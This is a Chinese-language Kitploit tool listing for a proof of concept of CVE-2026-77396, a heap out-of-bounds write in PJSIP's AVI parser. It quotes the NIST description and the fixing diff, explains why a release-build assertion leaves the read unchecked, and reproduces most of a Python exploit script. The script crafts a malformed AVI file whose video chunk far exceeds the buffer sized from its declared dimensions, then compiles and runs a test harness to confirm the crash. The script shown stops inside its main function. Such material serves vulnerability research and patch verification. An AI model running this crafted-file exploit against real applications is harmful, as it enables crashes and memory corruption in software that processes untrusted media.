Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-77396 — 一个概念验证,通过构造恶意 AVI 文件在 PJSIP AVI 解析器中触发堆越界写入(CVE-2026-77396),并包含 ASan 验证与补丁分析。 | Kitploit
工具/GitHubGitHub/saretawa/cve-2026-77396
内存取证漏洞分析漏洞利用模糊测试二进制利用
GitHubsaretawa/cve-2026-77396

CVE-2026-77396

一个概念验证,通过构造恶意 AVI 文件在 PJSIP AVI 解析器中触发堆越界写入(CVE-2026-77396),并包含 ASan 验证与补丁分析。

查看仓库
36天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

关于 CVE 的 NIST 描述:

PJSIP is a free and open source multimedia communication library written in C. In 2.17 and earlier, the PJSIP AVI parser 
in pjmedia/src/pjmedia/avi_player.c uses an input-file video chunk length as the number of bytes copied into a frame 
buffer whose capacity is derived from the declared media dimensions. A crafted AVI file can therefore cause an 
attacker-controlled out-of-bounds write past the heap allocation when an application plays the file or pulls its frames. 
The existing size assertion does not protect production release builds, where assertions are disabled. Typical local 
playback can crash the process, while applications that accept untrusted AVI sources expose a stronger memory-corruption 
condition. No fixed version is available as of this review.

我们将主要审查的 diff:

git diff 7ecc65849\^..7ecc65849 -- pjmedia/src/pjmedia/avi_player.c                   12:57
diff --git a/pjmedia/src/pjmedia/avi_player.c b/pjmedia/src/pjmedia/avi_player.c
index af66be12f..1db41f719 100644
--- a/pjmedia/src/pjmedia/avi_player.c
+++ b/pjmedia/src/pjmedia/avi_player.c
@@ -1218,12 +1218,40 @@ static pj_status_t avi_get_frame(pjmedia_port *this_port,
                 goto on_error2;
             fport->size_left -= size_to_read;
         } else {
-            pj_assert(frame->size >= ch.len);
-            status = file_read3(fport->fd, frame->buf, ch.len,
+            pj_uint32_t read_len = ch.len;
+
+            /* Clamp the read to the frame buffer capacity. A crafted
+             * file may declare a chunk larger than the buffer, whose
+             * size is derived from the (also file-supplied) video
+             * dimensions; never write past frame->buf (frame->size
+             * bytes). Do not rely on pj_assert() here, as it is a no-op
+             * in release builds.
+             */
+            if (read_len > frame->size) {
+                PJ_LOG(3, (THIS_FILE,
+                           "AVI video chunk (%u) exceeds frame buffer "
+                           "(%u), truncating",
+                           (unsigned)ch.len, (unsigned)frame->size));
+                read_len = (pj_uint32_t)frame->size;
+            }
+
+            status = file_read3(fport->fd, frame->buf, read_len,
                                 0, &size_read);
             if (status != PJ_SUCCESS)
                 goto on_error2;
-            frame->size = ch.len;
+
+            /* Skip any remaining chunk bytes that did not fit, so the
+             * file position stays aligned to the next chunk.
+             */
+            if (ch.len > read_len) {
+                status = pj_file_setpos(fport->fd,
+                                        (pj_off_t)ch.len - read_len,
+                                        PJ_SEEK_CUR);
+                if (status != PJ_SUCCESS)
+                    goto on_error2;
+            }
+
+            frame->size = read_len;
             fport->size_left = 0;
         }

基本上就是存在漏洞的部分:

pj_assert(frame->size >= ch.len);
status = file_read3(fport->fd, frame->buf, ch.len, 0, &size_read);
frame->size = ch.len;

ch 是从 AVI 文件读取的一个块头,它有一个 len 字段,表示该视频块包含多少字节。frame->buf 是根据视频声明的尺寸(宽度 × 高度 × 每像素字节数)分配的堆缓冲区。

这本应是一个检查:pj_assert(frame->size >= ch.len)

但在 release/生产构建中,pj_assert 是一个空操作。因此在任何真实部署中,都完全没有校验。代码只是把 ch.len 个字节直接读入 frame->buf。

用通俗的话说,在调试构建中:如果条件为假,pj_assert(frame->size >= ch.len) 会让程序崩溃。在 release 构建中:这一行被去掉了,完全不做检查,file_read3 会毫无顾忌地把 ch.len 个字节写入一个过小的缓冲区。

构造一个 AVI 文件,使得:

视频流头声明较小的尺寸(比如 16×16)——> 分配较小的 frame->buf 数据区中的一个视频块声明较大的 ch.len → file_read3 写入远超缓冲区边界

利用:

import struct, os, subprocess, sys, signal, glob, argparse

SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
PJPROJECT   = os.path.join(SCRIPT_DIR, "pjproject")
AVI_FILE    = os.path.join(SCRIPT_DIR, "crash.avi")
TEST_SRC    = os.path.join(SCRIPT_DIR, "test_avi.c")
TEST_BIN    = os.path.join(SCRIPT_DIR, "test_avi")
FIX_COMMIT  = "7ecc6584969a923c4190b6912afbf5952b5a4b9f"

VID_W    = 16
VID_H    = 16
BPP      = 24
OVERFLOW = 50000


def craft_avi(path):
    # strf (BITMAPINFOHEADER)
    strf  = b'strf' + struct.pack('<II', 40, 40)
    strf += struct.pack('<iiHH', VID_W, VID_H, 1, BPP)
    strf += b'MJPG' + struct.pack('<I', 0)
    strf += struct.pack('<iiII', 0, 0, 0, 0)

    # strh (stream header)
    strh  = b'strh' + struct.pack('<I', 56)
    strh += b'vids' + b'MJPG'
    strh += struct.pack('<IIIIIIIIIII', 0, 0, 0, 1, 30, 0, 1, 0, 0, 0, 0)
    strh += struct.pack('<II', 0, 0)

    # strl LIST
    strl_body = b'strl' + strh + strf
    strl = b'LIST' + struct.pack('<I', len(strl_body)) + strl_body

    # avih
    avih  = b'avih' + struct.pack('<I', 56)
    avih += struct.pack('<IIIIIIII', 33333, 0, 0, 0, 1, 0, 1, 0)
    avih += struct.pack('<II', VID_W, VID_H)
    avih += struct.pack('<IIII', 0, 0, 0, 0)

    # hdrl LIST
    hdrl_body = b'hdrl' + avih + strl
    hdrl = b'LIST' + struct.pack('<I', len(hdrl_body)) + hdrl_body

    # movi LIST the oversized chunk
    movi_body  = b'movi' + b'00dc'
    movi_body += struct.pack('<I', OVERFLOW)
    movi_body += b'\x41' * OVERFLOW
    movi = b'LIST' + struct.pack('<I', len(movi_body)) + movi_body

    # RIFF wrapper
    avi_body = b'AVI ' + hdrl + movi
    riff = b'RIFF' + struct.pack('<I', len(avi_body)) + avi_body

    with open(path, 'wb') as f:
        f.write(riff)

    buf_est = VID_W * VID_H * 4
    print(f"[*] wrote {path} ({len(riff)} bytes)")
    print(f"[*] video: {VID_W}x{VID_H} MJPG, buffer ~{buf_est} bytes, chunk {OVERFLOW} bytes")


def find_libs():
    lib_files = []
    for sub in ["pjlib/lib", "pjlib-util/lib", "pjmedia/lib",
                 "pjnath/lib", "third_party/lib"]:
        d = os.path.join(PJPROJECT, sub)
        if os.path.isdir(d):
            lib_files.extend(sorted(glob.glob(os.path.join(d, "*.a"))))
    return lib_files


def compile_test():
    if not os.path.isfile(TEST_SRC):
        print(f"[-] {TEST_SRC} not found"); return False

    lib_files = find_libs()
    if not lib_files:
        print("[-] pjproject not built. see README"); return False

    inc = [f"-I{PJPROJECT}/{d}/include" for d in
           ["pjlib", "pjlib-util", "pjmedia", "pjnath", "pjsip"]]

    cmd = (["gcc", "-o", TEST_BIN, TEST_SRC] + inc
           + ["-Wl,--start-group"] + lib_files + ["-Wl,--end-group"]
           + ["-lasound", "-luuid", "-lm", "-lpthread", "-lSDL2", "-lv4l2"])

    print(f"[*] compiling {os.path.basename(TEST_SRC)} ...")
    r = subprocess.run(cmd, capture_output=True, text=True)
    if r.returncode != 0:
        print(f"[-] compile failed:\n{r.stderr}"); return False

    print(f"[+] built {TEST_BIN}")
    return True


def run_test():
    if not os.path.isfile(TEST_BIN):
        print("[-] test binary not found"); return

    print(f"\n[*] running {os.path.basename(TEST_BIN)} {os.path.basename(AVI_FILE)}")
    r = subprocess.run(
        [TEST_BIN, AVI_FILE],
        capture_output=True, text=True, timeout=10,
    )

    if r.stdout.strip():
        print(r.stdout.strip())
    if r.stderr.strip():
        for line in r.stderr.strip().splitlines()[:15]:
            print(line)

    if r.returncode < 0:
        sig = -r.returncode
        try: name = signal.Signals(sig).name
        except (ValueError, AttributeError): name = f"signal {sig}"
        print(f"\n[+] crashed with {name} (exit {r.returncode})")
        print(f"[+] heap OOB write confirmed, CVE-2026-77396")
    elif r.returncode == 0:
        print(f"\n[-] no crash, patched or debug build")
    else:
        print(f"\n[?] exit {r.returncode}")


def main():
    parser = argparse.ArgumentParser(description="CVE-2026-77396 PoC")
    parser.add_argument("--craft-only", action="store_true",
                        help="only craft the AVI file")
    args = parser.parse_args()

    print("CVE-2026-77396 PJSIP AVI parser heap OOB write\n")
    craft_avi(AVI_FILE)

    if args.craft_only:
        return

    if not os.path.isfile(TEST_BIN):
        if not compile_test():
            sys.exit(1)
下载工具